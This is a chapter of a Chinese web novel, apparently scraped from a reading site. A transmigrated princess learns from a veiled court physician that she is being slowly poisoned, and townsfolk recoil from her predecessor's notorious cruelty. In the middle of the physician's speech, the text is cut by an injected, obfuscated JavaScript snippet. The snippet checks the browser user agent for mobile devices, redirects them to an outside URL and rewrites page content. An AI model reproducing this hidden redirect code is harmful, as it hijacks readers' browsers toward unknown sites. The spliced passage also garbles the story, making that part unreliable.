默认冷灰
24号文字
方正启体

12. 罗刹

作者:微微不畏本书字数:K更新时间:
    温霁指尖轻轻搭上那根横亘于两人之间的红丝线。


    借此机会,扶盈也正好近距离细细打量起对方。


    眼前人满头银发如雪,却丝毫不见老态,身姿清隽若竹,侧脸轮廓深邃分明,飘然出尘的气质好似谪仙下凡。


    尤为引人注目的是,她双眼覆着一条约两指宽的素白眼纱,轻软地绕过挺直鼻梁,于脑后系成一个优雅的结。


    扶盈顿生疑惑,这司命大人难不成目不能视?


    可她方才分明看见,温霁提笔书写药方时行云流水浑洒自如,俨然不像失明之人所能为。


    那因何做这样一副打扮?


    扶盈差点要笑出声来,总不会是为了装十三吧?她不由伸出另一只手,试探地在温霁眼前晃了晃。


    与此同时,温霁指尖微顿,循着丝线寸寸推移。


    “紫藤喜攀高墙,依老柏而生,花开时绚烂夺目铺天盖地。”


    她声线依旧温润,话中却似别有深意。


    “可惜根基阴湿,易招白蚁蛀蚀。若只贪恋其花叶繁盛之表,看似绵延不绝,实则内里根茎早已腐坏。”


    扶盈杏眸微眯。


    原来温霁认出了自己,却偏这般故弄玄虚。更甚的是,竟还指桑骂槐,暗讽她金玉其外败絮其中?


    “好个悬壶济世的温司命啊。”她轻嗤一声,“这般舌灿莲花,怎不去翰林院修书立传?”


    她自认并非什么大能之士,不过一介穿越而来的普通人,可若论嘴上不饶人,任凭对方是何身份,她也从不愿输阵。


    温敛并未接她话茬,只微微侧首,用仅有两人可闻的声音低语。


    “帝姬,您中毒了。”


    “中毒?”这没头没尾的话让扶盈一怔,“从何说起?”看对方神情凝肃,并不像信口开河。


    温霁未作声,屏息凝神间,指腹隔着丝线细细感受脉搏。


    “殿下可曾见过寒潭游鱼?”她冷不丁开口。


    “司命此言何意?”


    “隆冬时节,冰封水面,鱼群蛰伏潭底,看似平静无波。”温霁唇角极淡地一扬,“然若有人凿冰破口,可见其下暗流汹涌,鱼惊四窜。”


    “殿下之脉,正类于此。”


    “此毒日渐侵蚀心神,长久以往,会令人性情日趋暴戾,多疑易怒,神思难聚。若受外因激扰,更易幻视幻听,终至心智溃散,再难挽回。”


    扶盈心底蓦地漫开一片寒意。


    本以为,原主不过是自幼被纵容太过,养成了乖张的性子。如今看来,背后竟有这毒物在推波助澜。


    所以那日坠马,不仅是酒意醺然,不仅是情感受挫。而是在最脆弱的瞬间,三者共同作用,环环相扣导致的必然结果。


    好精妙的局。


    即便当时侥幸逃过一劫,一个暴戾无常的皇女,他日被人稍加刺激,难保不会又步入另一处陷阱。


    下毒者只需静待,总有千万种法子,让原主合情合理地消失。


    既非一朝一夕之毒,太医院那帮老家伙,个个都是人精,当真毫无所觉?是有人刻意遮掩,还是集体选择了明哲保身?


    这潭水,比想象的要深得多。


    “司命怕是诊错了。”


    扶盈勾唇,腕间丝线不由绷紧:“前些时日许太医才至府中请过脉,只说略感风寒,并未提及任何中毒之象。”


    温霁忽然指下收力,丝线应声而弛。她并未立刻收回手,反而就着方才诊脉的姿态。


    “殿下脉象,浮取如滚珠走盘,滑利躁动;沉取似寒潭坠石,滞涩阴冷。


    一浮一沉,动静相悖,非寻常邪病所致,更非风寒表症可解。”


    言罢,她从袖中取出一根不足寸长的玉色细针。那针剔透如冰髓,尾端缀着一粒极小的银珠。


    “请殿下容臣一试。”


    温霁指尖轻拈玉针,隔空于扶盈腕上寸许之处缓缓掠过,而非真正触及皮肤。


    奇妙的是,那根玉针竟渐渐泛出一层若有似无的灰翳,针尾银珠也随之轻微嗡鸣。


    “此针乃臣师门秘传,对潜藏神髓之毒尤为敏感。”她收回玉针,其上灰翳久久不散。


    “这毒唤作「玉髓烬」,性极阴匿,遇水则化,遇火生蓝焰,其毒理并非作用于气血脏腑。寻常望闻问切,难窥其踪。


    然其毒性侵扰心神之象,已显于殿下脉息神魂之间,瞒不过这探幽之法。”


    她的目光似无意般扫过扶盈,虽覆着眼纱,却仿佛能洞察一切。


    扶盈忽而低笑,眸中战意灼灼。


    事情倒是愈发有趣了,甚好,这场无声的较量正合她意,恰恰燃起了她的斗志和胜负欲。


    如此天长日久不着痕迹地下毒,绝非外人所能为,但无论是谁,她定会将其连根拔起,让其无所遁形。


    扶盈竭力回溯日常点滴,试图找出蛛丝马迹,这时,被孩童一声脆生生的惊呼打断。


    “是罗刹帝姬!阿爹快走!她要来抓小孩吃了!”


    飘着药香的空气霎时凝固,馆内陷入一片死寂。


    “浑说什么!”一个挎着菜篮的中年男子,猛地把孩子往身后扯,竹篮里新采的芥菜撒了满地。


    “真是那位……”方才还咳得厉害的老妪哆嗦着欲言又止。


    温霁案头的《千金方》被穿堂风掀得哗哗作响,扶盈听见檐下的窃语声。


    “前年大雪夜,帝姬府后门运出去几十个草席裹的……都是十五六的少男郎!”


    “西街布庄掌柜不过送错两匹云锦,第二日……眼珠子就泡在酒里送回来了!”


    此起彼伏的抽气声中,偏有个垂髫小儿从爹爹指缝里偷望出来,稚声道:“帝姬真好看,像画上的仙子娘娘。”


    “作孽哟!”那父亲反手捂住孩子的眼,踉跄着闪躲时绊到了晒药的竹匾,“仙子会生啖人肉?会拿马蹄踏碎乞儿腿骨?!”


    恐慌如瘟疫蔓延,不知是谁先退了一步。


    百姓们纷纷转身,推挤间湘帘乱撞,仿佛春日柳絮都沾上了这罗刹的煞气。


    扶盈嘴角几不可察地轻抽了一下。


    这些添油加醋后的细节,说得有鼻子有眼,倒比记忆中存在的暴行还可怖三分。


    真相与谣传,早就被搅成了一池浑水。


    而原主手上沾染的血与泪,桩桩件件,亦是她无法辩驳的事实。她如今占据了这个身子,所有罪孽便也成了她必须背负的债。


    她唇瓣轻启,又缓缓抿紧。


    这些百姓眼神中,所藏的不光是恐惧,更有积年累月而根深蒂固的偏见与恨意,是原主亲手种下的苦果。


    冰封三尺,非一日之寒。想要扭转这早已深入人心的罗刹形象,无法凭三言两语便能办到。


    这恶名,她认了。但这结局,她不会认。


    扶盈理平衣摆,从容起身:“今日叨扰,倒让司命见笑了。”


    “殿下可听过三沸辨忠奸?”


    温霁不紧不慢地端起青瓷盏,以银匙轻撇浮沫,仿佛外界的骚动从未发生,天地间只余她与这一盏清茶。


    “初沸之声如稚子呜咽,二沸之响似怨鬼低鸣,至于这三沸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489358|185780||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……”


    青瓷盏在她掌心缓缓转动,氤氲热气模糊了她眼纱下的轮廓。


    “最是滚烫灼人,也最能试出人心。殿下以为,是与不是?”


    “司命高见,令人深思。”


    扶盈凝视着她眼纱上流转的淡淡暮色金纹,心中暗自权衡。


    眼前之人是敌是友,目的为何,尚难断定。中毒之事疑窦丛生,即便对方言之凿凿,她也绝不轻信一面之词。


    温霁似能看透她的心思,忽而轻声转言:“听闻殿下素来喜爱莲子雪蛤羹,可有此事?”


    扶盈眉间一动,这不是明知故问吗?原主嗜好此物,在宫中不算什么秘密。


    后来,兰秋白入了帝姬府,为了投其所好,更是耗费心力反复钻研此羹的做法,精益求精,极尽巧思。


    扶盈不止一次尝过兰秋白的手艺,那羹汤滋味清甜醇厚,火候拿捏得恰到好处,比起御厨之作也不遑多让。


    “此毒借雪蛤凉润之性为衣,银针验之不过,入体则寒毒相激,如油入面难分彼此。


    非诊脉象浮沉之变,实乃君臣佐使相噬之象。”


    温霁语气平稳无波,仿佛在谈论今日天气。


    “当然,此亦只是医书所载,世间之事,无奇不有。或许是臣学艺不精,误判了。殿下若不放心,可再寻名医验证。”


    “多谢温司命慷慨解惑。”


    扶盈沉吟片刻,露出盈盈笑意。她倾身向前,沉香气息若有似无地拂过那覆着眼纱的眉骨。


    “他日,本殿定当携南枳新贡的雪顶含翠,亲至司命府上,共赏茶道玄妙。”


    温霁下意识地向后一仰,手中茶盏微微一倾,几滴茶汤溅落在案几,发出细碎轻响。


    她指尖抹过案沿水渍,淡然说道:“臣,静候殿下佳茗。”


    扶盈微微颔首,正欲离去,被温霁一声温和的“且慢”唤住。


    “殿下怕是忘了付诊金。”温霁示意药童将一包备好的药材奉上。


    “春日气通于肝,最忌虚火妄动。当饮决明子配以金银花,清肝明目,正合时宜。”


    扶盈绽出一个无可挑剔的完美笑容:“司命设想如此周到,那可真是……多谢了。”


    随即她摸了摸衣袖与腰间,动作一滞,尴尬地发现一个铜板都没有,所有银钱皆在辰砂身上。


    “实在不巧,今日出行匆忙,未带银两。待回府后,定即刻派人将诊金奉上。”


    暮春的雨丝斜斜掠过青瓦,带着一丝凉意。


    卖花的少男垂首疾行,并未留意眼前身影,竹篮一晃,篮中白山茶登时如碎玉般洒落一地。


    扶盈见状,俯身欲拾,见那少男踉跄着连退数步,瑟瑟发抖,满面惊惶。


    “民、民男该死!”少男脸色煞白,竟当即要跪叩下去。


    扶盈止住他的动作,轻轻叹气:“无妨,抬起头来。”


    少男颤巍巍仰脸,一双湿漉漉的眸子映入眼帘。扶盈拾起一朵完好的山茶,指尖轻拂去水珠,而后为他仔细别在髻边。


    “花很衬你,”她语气温和,“小心点,早些归家吧。”


    临走前,扶盈不由自主地回首。


    纷纷雨丝如帘,落花零星飘散。她的目光越过朦胧雨幕,落回医馆深处。


    这一刻,她无比感激这具身体目力极佳。


    尽管隔着氤氲水汽与纷乱人影,她仍清晰地感觉到,那道被素纱遮掩的视线,似乎也正停留在她的方向。


    而温霁唇角那一抹弯起的弧度,宛如春风拂过静潭,浅淡,却毋庸置疑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)